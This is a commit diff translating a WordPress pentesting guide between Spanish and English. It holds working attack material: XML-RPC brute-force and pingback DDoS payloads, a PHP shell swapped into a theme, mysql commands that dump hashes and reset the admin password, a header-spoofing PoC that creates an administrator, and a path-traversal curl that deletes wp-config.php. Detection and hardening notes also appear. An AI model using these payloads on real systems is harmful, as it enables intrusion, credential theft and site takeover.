Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-09-08 04:20:18 +00:00
parent aa888902f2
commit 8b095521a7

View File

@ -2,51 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
## Basic Information
- **Archivos subidos** van a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Los archivos de temas se pueden encontrar en /wp-content/themes/,** así que si cambias algún php del tema para conseguir RCE probablemente usarás esa ruta. Por ejemplo: Usando **theme twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- En **wp-config.php** puedes encontrar la contraseña root de la base de datos.
- Rutas de login por defecto a comprobar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- In **wp-config.php** you can find the root password of the database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Archivos principales de WordPress**
### **Main WordPress Files**
- `index.php`
- `license.txt` contiene información útil como la versión de WordPress instalada.
- `wp-activate.php` se usa para el proceso de activación por correo electrónico al configurar un nuevo sitio WordPress.
- Carpetas de login (pueden ser renombradas para ocultarlas):
- `license.txt` contains useful information such as the version WordPress installed.
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
- Login folders (may be renamed to hide it):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` es un archivo que representa una característica de WordPress que permite que los datos se transmitan utilizando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por el [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress.
- La carpeta `wp-content` es el directorio principal donde se almacenan plugins y temas.
- `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma.
- `wp-includes/` es el directorio donde se almacenan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.
- `wp-sitemap.xml` En versiones de WordPress 5.5 y superiores, WordPress genera un archivo sitemap XML con todas las entradas públicas y los tipos de contenido y taxonomías consultables públicamente.
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- The `wp-content` folder is the main directory where plugins and themes are stored.
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
**Post explotación**
**Post exploitation**
- El archivo `wp-config.php` contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el usuario y la contraseña, las keys y salts de autenticación, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para la resolución de problemas.
- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
### Permisos de usuarios
### Users Permissions
- **Administrator**
- **Editor**: Publica y gestiona sus propias entradas y las de otros
- **Author**: Publica y gestiona sus propias entradas
- **Contributor**: Escribe y gestiona sus entradas pero no puede publicarlas
- **Subscriber**: Navega las entradas y edita su perfil
- **Editor**: Publish and manages his and others posts
- **Author**: Publish and manage his own posts
- **Contributor**: Write and manage his posts but cannot publish them
- **Subscriber**: Browser posts and edit their profile
## **Enumeración pasiva**
## **Passive Enumeration**
### **Obtener la versión de WordPress**
### **Get WordPress version**
Comprueba si puedes encontrar los archivos `/license.txt` o `/readme.html`
Check if you can find the files `/license.txt` or `/readme.html`
Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -64,11 +64,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (524).png>)
### Obtener Plugins
### Obtener plugins
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Obtener Temas
### Obtener temas
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -79,13 +79,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```
## Enumeración activa
### Plugins y Temas
### Plugins and Themes
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **realizar activamente un Brute Force a una lista de Plugins y Temas** (esperemos que existan herramientas automatizadas que contengan estas listas).
Probablemente no podrás encontrar todos los Plugins and Themes posibles. Para descubrirlos todos, necesitarás **Brute Force activamente una lista de Plugins and Themes** (esperemos que existan herramientas automatizadas que contengan estas listas).
### Usuarios
- **ID Brute:** Obtienes usuarios válidos de un sitio WordPress realizando Brute Forcing de los IDs de usuario:
- **ID Brute:** Obtienes usuarios válidos de un sitio WordPress mediante Brute Forcing los IDs de usuario:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -95,21 +95,21 @@ Si las respuestas son **200** o **30X**, eso significa que el id es **válido**.
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Otro endpoint `/wp-json/` que puede revelar algo de información sobre usuarios es:
Otro endpoint `/wp-json/` que puede revelar alguna información sobre usuarios es:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tienen habilitada esta función**.
Ten en cuenta que este endpoint sólo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tengan esta función habilitada**.
Ten en cuenta también que **/wp-json/wp/v2/pages** could leak direcciones IP.
También ten en cuenta que **/wp-json/wp/v2/pages** could leak direcciones IP.
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **distinto** y indica si el **username existe o no**.
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el mensaje es diferente e indica si el nombre de usuario existe o no.
### XML-RPC
Si `xml-rpc.php` está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso [usando esto](https://github.com/relarizky/wpxploit), por ejemplo).
Si `xml-rpc.php` está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y enviar esta solicitud:
Para comprobar si está activo intenta acceder a _**/xmlrpc.php**_ y enviar esta petición:
**Comprobar**
```html
@ -120,9 +120,9 @@ Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y enviar esta solic
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Credenciales Bruteforce**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden usar para brute-force credentials. Si puedes encontrar cualquiera de ellos puedes enviar algo como:
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que pueden usarse para brute-force credentials. Si puedes encontrar cualquiera de ellos, puedes enviar algo como:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,7 +132,7 @@ Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y enviar esta solic
</params>
</methodCall>
```
El mensaje _"Nombre de usuario o contraseña incorrectos"_ dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.
El mensaje _"Incorrect username or password"_ dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -174,12 +174,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
**Bypass 2FA**
Este método está pensado para programas y no para humanos, y es antiguo, por lo que no soporta 2FA. Así que, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para login con esas credenciales evitando 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la console, pero aún podrías llegar a RCE como Ippsec lo explica en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Este método está pensado para programas y no para humanos, y es antiguo, por lo que no soporta 2FA. Así que, si tienes creds válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para login con esas creds saltándote la 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la console, pero aun así podrías llegar a RCE como Ippsec lo explica en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **miles** de sitios **Wordpress** que **accedan** a una misma **ubicación** (provocando así un **DDoS** en ese destino) o puedes usarlo para hacer que **Wordpress** **escanee** alguna **red** interna (puedes indicar cualquier puerto).
Si puedes encontrar el método _**pingback.ping**_ dentro de la lista puedes hacer que Wordpress envíe una petición arbitraria a cualquier host/puerto.\
Esto puede usarse para pedirle a **miles** de **sitios** Wordpress que **accedan** a una **ubicación** (causando así un **DDoS** en ese objetivo) o puedes usarlo para hacer que **Wordpress** escanee alguna **red** interna (puedes indicar cualquier puerto).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,9 +193,9 @@ This can be used to ask **miles** de sitios **Wordpress** que **accedan** a una
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
Consulta el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS.
Consulta el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para provocar DDoS.
DDoS
**DDoS**
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -209,15 +209,15 @@ DDoS
### wp-cron.php DoS
Este archivo normalmente existe en la raíz del sitio Wordpress: **`/wp-cron.php`**\
Cuando este archivo es **accedido**, se ejecuta una **consulta** MySQL **pesada**, por lo que podría ser usado por **atacantes** para **causar** un **DoS**.\
Además, por defecto, `wp-cron.php` se invoca en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Este archivo suele existir en la raíz del sitio Wordpress: **`/wp-cron.php`**\
Cuando a este archivo se le **accede** se ejecuta una **consulta** MySQL "**intensa**", por lo que podría ser usado por **attackers** para **causar** un **DoS**.\
Además, por defecto, `wp-cron.php` se ejecuta en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Se recomienda desactivar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).
Se recomienda deshabilitar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Intenta acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Wordpress puede realizar una petición hacia ti.
Prueba acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Worpress puede realizar una solicitud hacia ti.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
Esta herramienta comprueba si existe **methodName: pingback.ping** y la ruta **/wp-json/oembed/1.0/proxy** y, si existen, intenta exploitarlos.
## Herramientas automáticas
```bash
@ -240,18 +240,18 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obtener acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías voltear 1 bit de cualquier archivo de wordpress. Así podías voltear la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para NOP la operación NOT (`!`).
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías voltear 1 bit de cualquier archivo de wordpress. Así que podías modificar la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para aplicar un NOP a la operación NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modificando un php del tema usado (se necesitan credenciales de administrador)**
**Modificando un php del tema usado (se requieren credenciales de admin)**
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
Reemplaza el contenido por un shell php:
Cambia el contenido por un shell php:
![](<../../images/image (384).png>)
@ -296,23 +296,23 @@ Access it and you will see the URL to execute the reverse shell:
### Subir y activar un plugin malicioso
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se lleva a cabo a través del WordPress dashboard de la siguiente manera:
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Navega al WordPress dashboard, luego ve a `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
3. **Plugin Activation**: Una vez que el plugin esté instalado correctamente, debe activarse desde el dashboard.
4. **Exploitation**:
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
- Con el plugin "reflex-gallery" instalado y activado, puede explotarse ya que se conoce que es vulnerable.
- El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo apropiado y ejecutando comandos específicos, se puede establecer una sesión meterpreter, otorgando acceso no autorizado al sitio.
- Se señala que este es solo uno de los muchos métodos para explotar un sitio WordPress.
El contenido incluye ayudas visuales que muestran los pasos en el WordPress dashboard para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como penetration testing con permiso explícito.
El contenido incluye ayudas visuales que muestran los pasos en el WordPress dashboard para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## De XSS a RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Crea un usuario en WordPress.
@ -321,39 +321,39 @@ El contenido incluye ayudas visuales que muestran los pasos en el WordPress dash
- _**(RCE) Built-In Theme Edit:**_ Edita temas integrados en WordPress.
- _**(Custom) Custom Exploits:**_ Exploits personalizados para plugins/temas de terceros de WordPress.
## Post Exploitation
## Post Explotación
Extract usernames and passwords:
Extraer nombres de usuario y contraseñas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Cambiar la contraseña del administrador:
Cambiar la contraseña del admin:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Pentest de Plugins de Wordpress
### Superficie de ataque
Saber cómo un Wordpress plugin puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes ver cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Saber cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes encontrar cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de handlers de AJAX. Estos pueden contener bugs de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un Wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría poseer** (independientemente de su rol).
Una de las formas en que un plugin puede exponer funciones a los usuarios es vía AJAX handlers. Estas funciones podrían contener bugs de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones vayan a basar tanto la autenticación como la autorización en la existencia de un wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
Estas son las funciones que se pueden usar para exponer una función en un plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).**
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso no autenticados).**
> [!CAUTION]
> Además, si la función solo está comprobando la autorización del usuario con la función `wp_verify_nonce`, esa función únicamente verifica que el usuario haya iniciado sesión; normalmente no comprueba el rol del usuario. Por lo tanto, usuarios con bajos privilegios podrían tener acceso a acciones de alto privilegio.
> Además, si la función solo está comprobando la autorización del usuario con la función `wp_verify_nonce`, esta función únicamente verifica que el usuario haya iniciado sesión; por lo general no comprueba el rol del usuario. Por lo tanto, usuarios con pocos privilegios podrían tener acceso a acciones de alto privilegio.
- **REST API**
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
También es posible exponer funciones de wordpress registrando una REST API usando la función `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
El `permission_callback` es un callback a una función que comprueba si un usuario dado está autorizado para llamar al método de la API.
The `permission_callback` es una función callback que comprueba si un usuario dado está autorizado para invocar el método de la API.
**Si se usa la función incorporada `__return_true`, simplemente omitirá la comprobación de permisos de usuario.**
**Si se utiliza la función integrada `__return_true`, simplemente omitirá la comprobación de permisos de usuario.**
- **Acceso directo al archivo php**
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Así que, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será exploitable por cualquier usuario.
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Por tanto, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente al acceder al archivo, podrá ser explotada por cualquier usuario.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Algunos plugins implementan atajos de “trusted header” para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual en las solicitudes REST. Si el header no está cryptographically bound a la request por un componente upstream, un atacante puede spoof it y acceder a rutas REST privilegiadas como administrador.
Algunos plugins implementan atajos de "trusted header" para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual para las solicitudes REST. Si el header no está ligado criptográficamente a la petición por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.
- Impacto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Impacto: escalada de privilegios no autenticada hasta administrador mediante la creación de un nuevo usuario a través de la ruta REST de usuarios del core.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (fuerza el user ID 1, típicamente la primera cuenta de administrador).
- Ruta explotada: `POST /wp-json/wp/v2/users` con un array de roles elevado.
- Ruta explotada: `POST /wp-json/wp/v2/users` con un array de roles con privilegios elevados.
PoC
```http
@ -391,40 +391,40 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Why it works
Por qué funciona
- El plugin mapea una cabecera controlada por el cliente a un estado de autenticación y omite las comprobaciones de capability.
- WordPress core espera la capability `create_users` para esta ruta; el hack del plugin la elude estableciendo directamente el contexto del usuario actual desde la cabecera.
- El plugin asigna un header controlado por el cliente al estado de autenticación y omite las comprobaciones de capacidades.
- WordPress core espera la capacidad `create_users` para esta ruta; el hack del plugin la elude estableciendo directamente el contexto del usuario actual a partir del header.
Expected success indicators
Indicadores de éxito esperados
- HTTP 201 con un cuerpo JSON que describe el usuario creado.
- HTTP 201 con un body JSON que describe el usuario creado.
- Un nuevo usuario admin visible en `wp-admin/users.php`.
Detection checklist
Lista de verificación de detección
- Grep por `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs que lean cabeceras personalizadas para establecer el contexto de usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisar las REST registrations en busca de callbacks privilegiados que carezcan de comprobaciones robustas de `permission_callback` y en su lugar confíen en las cabeceras de la solicitud.
- Buscar usos de funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que estén protegidos únicamente por valores de cabecera.
- Hacer grep de `getallheaders()`, `$_SERVER['HTTP_...']`, o SDKs de vendor que lean headers personalizados para establecer el contexto de usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisar las registraciones REST en busca de callbacks privilegiados que carezcan de comprobaciones robustas de `permission_callback` y en su lugar dependan de headers de la petición.
- Buscar usos de las funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que estén protegidos solo por valores de header.
Hardening
Endurecimiento
- Nunca derives autenticación o autorización de cabeceras controladas por el cliente.
- Si un proxy inverso debe inyectar identidad, termina la confianza en el proxy y elimina las copias entrantes (p. ej., `unset X-Wcpay-Platform-Checkout-User` en el edge), luego pasa un token firmado y verifícalo server-side.
- Para rutas REST que realicen acciones privilegiadas, requiere comprobaciones con `current_user_can()` y un `permission_callback` estricto (NO uses `__return_true`).
- Prefiere autenticación first-party (cookies, application passwords, OAuth) sobre la “impersonation” vía cabeceras.
- Nunca derives autenticación o autorización de headers controlados por el cliente.
- Si un reverse proxy debe inyectar identidad, termina la confianza en el proxy y elimina las copias entrantes (p. ej., `unset X-Wcpay-Platform-Checkout-User` en el edge), luego pasa un token firmado y verifícalo server-side.
- Para rutas REST que realizan acciones privilegiadas, requiere comprobaciones `current_user_can()` y un `permission_callback` estricto (NO uses `__return_true`).
- Prefiere auth first-party (cookies, application passwords, OAuth) sobre la “impersonation” vía headers.
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
### Eliminación arbitraria de archivos sin autenticar vía wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
WordPress themes and plugins frecuentemente exponen handlers AJAX a través de los hooks `wp_ajax_` y `wp_ajax_nopriv_`. Cuando la variante **_nopriv_** se usa **el callback se vuelve accesible por visitantes no autenticados**, por lo que cualquier acción sensible debe adicionalmente implementar:
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
1. Una **comprobación de capacidad** (p. ej. `current_user_can()` o al menos `is_user_logged_in()`), y
2. Un **nonce CSRF** validado con `check_ajax_referer()` / `wp_verify_nonce()`, y
3. **Saneamiento / validación estricta de la entrada**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
El theme multipropósito Litho (< 3.1) olvidó esos 3 controles en la funcionalidad *Remove Font Family* y terminó distribuyendo el siguiente código (simplificado):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -445,25 +445,25 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Problemas introducidos por este fragmento:
* **Acceso no autenticado** el hook `wp_ajax_nopriv_` está registrado.
* **Sin comprobación de nonce / capacidades** cualquier visitante puede acceder al endpoint.
* **Sin sanitización de paths** la cadena controlada por el usuario `fontfamily` se concatena a una ruta del sistema de archivos sin filtrado, permitiendo el clásico `../../` traversal.
* **Acceso no autenticado** el `wp_ajax_nopriv_` hook está registrado.
* **No nonce / capability check** cualquier visitante puede acceder al endpoint.
* **No path sanitisation** la cadena controlada por el usuario `fontfamily` se concatena a una ruta del sistema de ficheros sin filtrado, permitiendo el clásico `../../` traversal.
#### Explotación
Un atacante puede eliminar cualquier archivo o directorio **por debajo del directorio base uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una única solicitud HTTP POST:
Un atacante puede eliminar cualquier archivo o directorio **por debajo del directorio base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una sola petición HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Porque `wp-config.php` vive fuera de *uploads*, cuatro secuencias `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` fuerza a WordPress al *asistente de instalación* en la siguiente visita, permitiendo la toma total del sitio (el atacante simplemente proporciona una nueva configuración de la base de datos y crea un usuario administrador).
Porque `wp-config.php` se encuentra fuera de *uploads*, cuatro secuencias `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` fuerza a WordPress a entrar en el *asistente de instalación* en la siguiente visita, permitiendo una toma completa del sitio (el atacante simplemente proporciona una nueva configuración de DB y crea un usuario administrador).
Otros objetivos importantes incluyen archivos plugin/theme `.php` (para deshabilitar plugins de seguridad) o reglas `.htaccess`.
Otros objetivos con impacto incluyen archivos de plugin/tema `.php` (para romper plugins de seguridad) o reglas `.htaccess`.
#### Lista de verificación de detección
#### Lista de comprobación de detección
* Cualquier `add_action( 'wp_ajax_nopriv_...')` callback que llame helpers del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Cualquier callback `add_action( 'wp_ajax_nopriv_...')` que llame a helpers del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenación de entrada de usuario no saneada en rutas (buscar `$_POST`, `$_GET`, `$_REQUEST`).
* Ausencia de `check_ajax_referer()` y `current_user_can()`/`is_user_logged_in()`.
@ -492,11 +492,11 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
---
### Escalada de privilegios mediante restauración obsoleta de roles y falta de autorización (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Muchos plugins implementan una función de "view as role" o conmutación temporal de roles guardando el/los role(s) originales en user meta para poder restaurarlos más tarde. Si la ruta de restauración depende únicamente de parámetros de la petición (e.g., `$_REQUEST['reset-for']`) y de una lista mantenida por el plugin sin comprobar capacidades y un nonce válido, esto se convierte en una escalada de privilegios vertical.
Muchos plugins implementan una funcionalidad "view as role" o de cambio temporal de rol guardando el/los role(s) originales en user meta para que puedan ser restaurados más tarde. Si la ruta de restauración depende solo de parámetros de request (e.g., `$_REQUEST['reset-for']`) y de una lista mantenida por el plugin sin verificar capabilities ni un nonce válido, esto se convierte en una vertical privilege escalation.
